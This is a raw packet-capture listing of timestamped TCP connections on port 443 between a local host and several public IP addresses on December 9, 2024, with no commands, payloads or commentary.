Dec 9, 2024 18:41:33.328500032 CET	49733	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:33.335731030 CET	443	49732	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:33.368622065 CET	443	49733	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:33.375468016 CET	49732	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:33.375498056 CET	443	49732	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:33.412086964 CET	443	49732	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:33.412154913 CET	49732	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:33.412184000 CET	443	49732	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:33.420610905 CET	443	49732	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:33.420660973 CET	49732	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:33.420686007 CET	443	49732	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:33.423460960 CET	49733	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:33.424129963 CET	443	49732	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:33.424168110 CET	49732	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:33.424190044 CET	443	49732	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:33.440999031 CET	443	49733	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:33.441734076 CET	443	49732	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:33.441786051 CET	49732	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:33.441813946 CET	443	49732	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:33.446146965 CET	443	49733	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:33.446202993 CET	49733	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:33.446230888 CET	443	49733	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:33.449592113 CET	443	49732	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:33.449646950 CET	49732	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:33.449670076 CET	443	49732	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:33.454125881 CET	443	49733	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:33.454186916 CET	49733	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:33.454219103 CET	443	49733	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:33.458096027 CET	443	49732	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:33.458151102 CET	49732	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:33.458174944 CET	443	49732	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:33.462049007 CET	443	49733	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:33.462111950 CET	49733	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:33.462143898 CET	443	49733	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:33.467020035 CET	443	49732	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:33.467067957 CET	49732	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:33.467089891 CET	443	49732	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:33.469959974 CET	443	49733	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:33.470010042 CET	49733	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:33.470032930 CET	443	49733	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:33.470081091 CET	443	49733	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:33.470119953 CET	49733	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:33.470208883 CET	49733	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:33.470225096 CET	443	49733	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:33.472877979 CET	49736	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:33.472908974 CET	443	49736	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:33.472989082 CET	49736	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:33.473202944 CET	49736	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:33.473217964 CET	443	49736	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:33.475405931 CET	443	49732	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:33.475454092 CET	49732	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:33.475461960 CET	443	49732	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:33.481873989 CET	443	49732	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:33.481923103 CET	49732	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:33.481931925 CET	443	49732	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:33.488394976 CET	443	49732	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:33.488454103 CET	49732	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:33.488461971 CET	443	49732	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:33.494926929 CET	443	49732	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:33.494982004 CET	49732	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:33.494997025 CET	443	49732	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:33.507770061 CET	443	49732	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:33.507827044 CET	49732	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:33.507854939 CET	443	49732	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:33.507870913 CET	443	49732	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:33.507937908 CET	49732	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:33.508157015 CET	49732	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:33.508172035 CET	443	49732	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:33.566477060 CET	49680	443	192.168.2.17	20.189.173.13
Dec 9, 2024 18:41:34.481738091 CET	443	49735	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:34.482184887 CET	49735	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:34.482222080 CET	443	49735	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:34.482561111 CET	443	49735	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:34.483745098 CET	49735	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:34.483745098 CET	49735	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:34.483778000 CET	443	49735	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:34.483831882 CET	443	49735	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:34.524579048 CET	49735	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:34.721535921 CET	443	49736	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:34.721854925 CET	49736	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:34.721887112 CET	443	49736	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:34.722223043 CET	443	49736	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:34.722565889 CET	49736	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:34.722642899 CET	443	49736	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:34.722676992 CET	49736	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:34.762908936 CET	49736	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:34.762948990 CET	443	49736	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:34.954200983 CET	443	49735	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:34.954246998 CET	443	49735	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:34.955121040 CET	443	49735	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:34.955152035 CET	443	49735	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:34.955159903 CET	49735	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:34.955193043 CET	443	49735	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:34.955218077 CET	49735	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:34.957077980 CET	443	49735	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:34.957319975 CET	49735	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:34.957329035 CET	443	49735	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:34.962455034 CET	443	49735	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:34.962569952 CET	49735	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:34.962579012 CET	443	49735	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:34.970827103 CET	443	49735	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:34.971124887 CET	49735	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:34.971132994 CET	443	49735	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:35.017052889 CET	49735	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:35.017085075 CET	443	49735	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:35.064888954 CET	49735	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:35.075223923 CET	443	49735	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:35.128918886 CET	49735	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:35.145811081 CET	443	49735	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:35.148327112 CET	443	49735	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:35.148619890 CET	49735	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:35.148654938 CET	443	49735	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:35.164283037 CET	443	49735	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:35.164429903 CET	443	49735	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:35.164458990 CET	49735	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:35.164493084 CET	443	49735	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:35.164793968 CET	49735	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:35.167046070 CET	443	49736	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:35.167120934 CET	443	49736	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:35.168359041 CET	49736	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:35.168359041 CET	49736	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:35.171514034 CET	49737	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:35.171559095 CET	443	49737	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:35.171896935 CET	49737	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:35.171896935 CET	49737	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:35.171931982 CET	443	49737	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:35.172120094 CET	443	49735	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:35.180083990 CET	443	49735	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:35.180145979 CET	49735	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:35.180171967 CET	443	49735	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:35.188292027 CET	443	49735	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:35.188358068 CET	49735	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:35.188384056 CET	443	49735	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:35.240478992 CET	49735	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:35.301110983 CET	443	49735	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:35.308187962 CET	443	49735	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:35.308259010 CET	49735	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:35.308299065 CET	443	49735	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:35.352510929 CET	49735	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:35.352577925 CET	443	49735	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:35.400502920 CET	49735	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:35.420398951 CET	443	49735	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:35.427624941 CET	443	49735	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:35.427696943 CET	49735	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:35.427721977 CET	443	49735	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:35.480503082 CET	49735	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:35.481014967 CET	49736	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:35.481065035 CET	443	49736	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:35.541898966 CET	443	49735	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:35.541970968 CET	443	49735	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:35.542056084 CET	49735	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:35.542084932 CET	443	49735	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:35.542278051 CET	443	49735	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:35.542325974 CET	49735	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:35.542335033 CET	443	49735	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:35.543515921 CET	443	49735	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:35.543570042 CET	49735	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:35.543582916 CET	443	49735	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:35.544842005 CET	443	49735	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:35.544893980 CET	49735	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:35.544907093 CET	443	49735	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:35.547456980 CET	443	49735	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:35.547523022 CET	49735	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:35.547530890 CET	443	49735	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:35.548594952 CET	443	49735	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:35.548662901 CET	49735	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:35.548669100 CET	443	49735	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:35.548712969 CET	49735	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:35.551172972 CET	443	49735	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:35.551189899 CET	443	49735	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:35.551259041 CET	49735	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:35.551271915 CET	443	49735	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:35.551317930 CET	49735	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:35.553508997 CET	443	49735	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:35.553517103 CET	443	49735	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:35.553576946 CET	49735	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:35.554773092 CET	443	49735	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:35.554780960 CET	443	49735	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:35.554824114 CET	49735	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:35.557226896 CET	443	49735	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:35.557288885 CET	49735	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:35.558510065 CET	443	49735	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:35.558562994 CET	49735	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:35.561043978 CET	443	49735	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:35.561104059 CET	49735	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:35.562540054 CET	443	49735	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:35.562599897 CET	49735	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:35.663198948 CET	443	49735	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:35.663299084 CET	49735	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:35.669747114 CET	443	49735	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:35.669819117 CET	49735	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:35.682744980 CET	443	49735	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:35.682822943 CET	49735	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:35.689604044 CET	443	49735	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:35.689692020 CET	49735	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:35.700593948 CET	443	49735	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:35.700692892 CET	49735	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:35.707994938 CET	443	49735	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:35.708084106 CET	49735	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:35.715969086 CET	443	49735	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:35.716048956 CET	49735	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:35.720011950 CET	443	49735	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:35.720081091 CET	49735	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:35.720098972 CET	443	49735	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:35.720143080 CET	49735	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:35.720171928 CET	49735	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:35.720194101 CET	443	49735	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:35.720205069 CET	49735	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:35.720240116 CET	49735	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:35.722528934 CET	49738	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:35.722569942 CET	443	49738	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:35.722660065 CET	49738	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:35.722893000 CET	49738	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:35.722899914 CET	443	49738	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:35.973474979 CET	49680	443	192.168.2.17	20.189.173.13
Dec 9, 2024 18:41:36.001904964 CET	49739	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:36.001962900 CET	443	49739	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:36.002028942 CET	49739	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:36.002274990 CET	49739	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:36.002285004 CET	443	49739	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:36.628495932 CET	49675	443	192.168.2.17	204.79.197.203
Dec 9, 2024 18:41:36.634011030 CET	443	49737	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:36.634289980 CET	49737	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:36.634318113 CET	443	49737	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:36.634637117 CET	443	49737	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:36.635015011 CET	49737	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:36.635077000 CET	443	49737	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:36.635157108 CET	49737	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:36.675333977 CET	443	49737	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:36.735299110 CET	443	49716	192.185.25.241	192.168.2.17
Dec 9, 2024 18:41:36.735441923 CET	443	49716	192.185.25.241	192.168.2.17
Dec 9, 2024 18:41:36.735498905 CET	49716	443	192.168.2.17	192.185.25.241
Dec 9, 2024 18:41:36.949733019 CET	443	49738	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:36.950005054 CET	49738	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:36.950031042 CET	443	49738	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:36.950352907 CET	443	49738	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:36.950642109 CET	49738	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:36.950694084 CET	443	49738	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:36.950778008 CET	49738	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:36.995326042 CET	443	49738	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:37.091548920 CET	443	49737	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:37.091625929 CET	443	49737	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:37.091681957 CET	49737	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:37.093102932 CET	49737	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:37.093120098 CET	443	49737	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:37.095487118 CET	49716	443	192.168.2.17	192.185.25.241
Dec 9, 2024 18:41:37.095514059 CET	443	49716	192.185.25.241	192.168.2.17
Dec 9, 2024 18:41:37.222769022 CET	443	49739	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:37.223066092 CET	49739	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:37.223083973 CET	443	49739	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:37.223413944 CET	443	49739	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:37.223777056 CET	49739	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:37.223828077 CET	443	49739	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:37.223946095 CET	49739	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:37.223968983 CET	49739	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:37.224004984 CET	443	49739	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:37.398894072 CET	443	49738	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:37.399310112 CET	443	49738	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:37.399357080 CET	443	49738	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:37.399375916 CET	49738	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:37.399408102 CET	443	49738	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:37.399456978 CET	49738	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:37.400161028 CET	443	49738	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:37.401667118 CET	443	49738	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:37.401721001 CET	49738	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:37.401729107 CET	443	49738	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:37.410346031 CET	443	49738	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:37.410408974 CET	443	49738	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:37.410446882 CET	49738	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:37.410456896 CET	443	49738	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:37.410497904 CET	49738	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:37.418553114 CET	443	49738	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:37.474374056 CET	49738	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:37.518345118 CET	443	49738	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:37.568494081 CET	49738	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:37.592228889 CET	443	49738	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:37.593952894 CET	443	49738	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:37.594037056 CET	49738	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:37.594057083 CET	443	49738	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:37.601259947 CET	443	49738	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:37.601340055 CET	49738	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:37.601347923 CET	443	49738	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:37.609512091 CET	443	49738	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:37.609617949 CET	49738	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:37.609643936 CET	443	49738	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:37.625433922 CET	443	49738	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:37.625519991 CET	49738	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:37.625545025 CET	443	49738	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:37.633527994 CET	443	49738	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:37.633601904 CET	49738	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:37.633630037 CET	443	49738	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:37.641603947 CET	443	49738	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:37.641674042 CET	49738	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:37.641686916 CET	443	49738	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:37.649733067 CET	443	49738	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:37.649807930 CET	49738	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:37.649816036 CET	443	49738	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:37.658441067 CET	443	49738	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:37.658505917 CET	49738	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:37.658512115 CET	443	49738	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:37.664616108 CET	443	49738	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:37.664683104 CET	49738	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:37.664688110 CET	443	49738	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:37.671186924 CET	443	49738	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:37.671236992 CET	49738	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:37.671246052 CET	443	49738	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:37.677381039 CET	443	49738	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:37.677442074 CET	49738	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:37.677464962 CET	443	49738	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:37.711911917 CET	443	49738	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:37.712033033 CET	49738	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:37.712064028 CET	443	49738	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:37.759517908 CET	49738	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:37.781090021 CET	443	49739	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:37.781141043 CET	443	49739	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:37.781183958 CET	49739	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:37.781198978 CET	443	49739	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:37.782248974 CET	443	49739	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:37.782288074 CET	49739	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:37.782293081 CET	443	49739	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:37.783273935 CET	443	49739	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:37.783310890 CET	49739	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:37.783322096 CET	443	49739	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:37.784226894 CET	443	49738	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:37.785495043 CET	443	49738	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:37.785552979 CET	49738	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:37.785576105 CET	443	49738	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:37.789577961 CET	443	49739	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:37.789623976 CET	49739	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:37.789630890 CET	443	49739	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:37.790585041 CET	443	49738	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:37.790635109 CET	49738	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:37.790657043 CET	443	49738	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:37.798063040 CET	443	49739	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:37.798127890 CET	49739	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:37.798134089 CET	443	49739	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:37.800786018 CET	443	49738	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:37.800853968 CET	49738	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:37.800862074 CET	443	49738	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:37.800906897 CET	49738	443	192.168.2.17	104.18.95.41
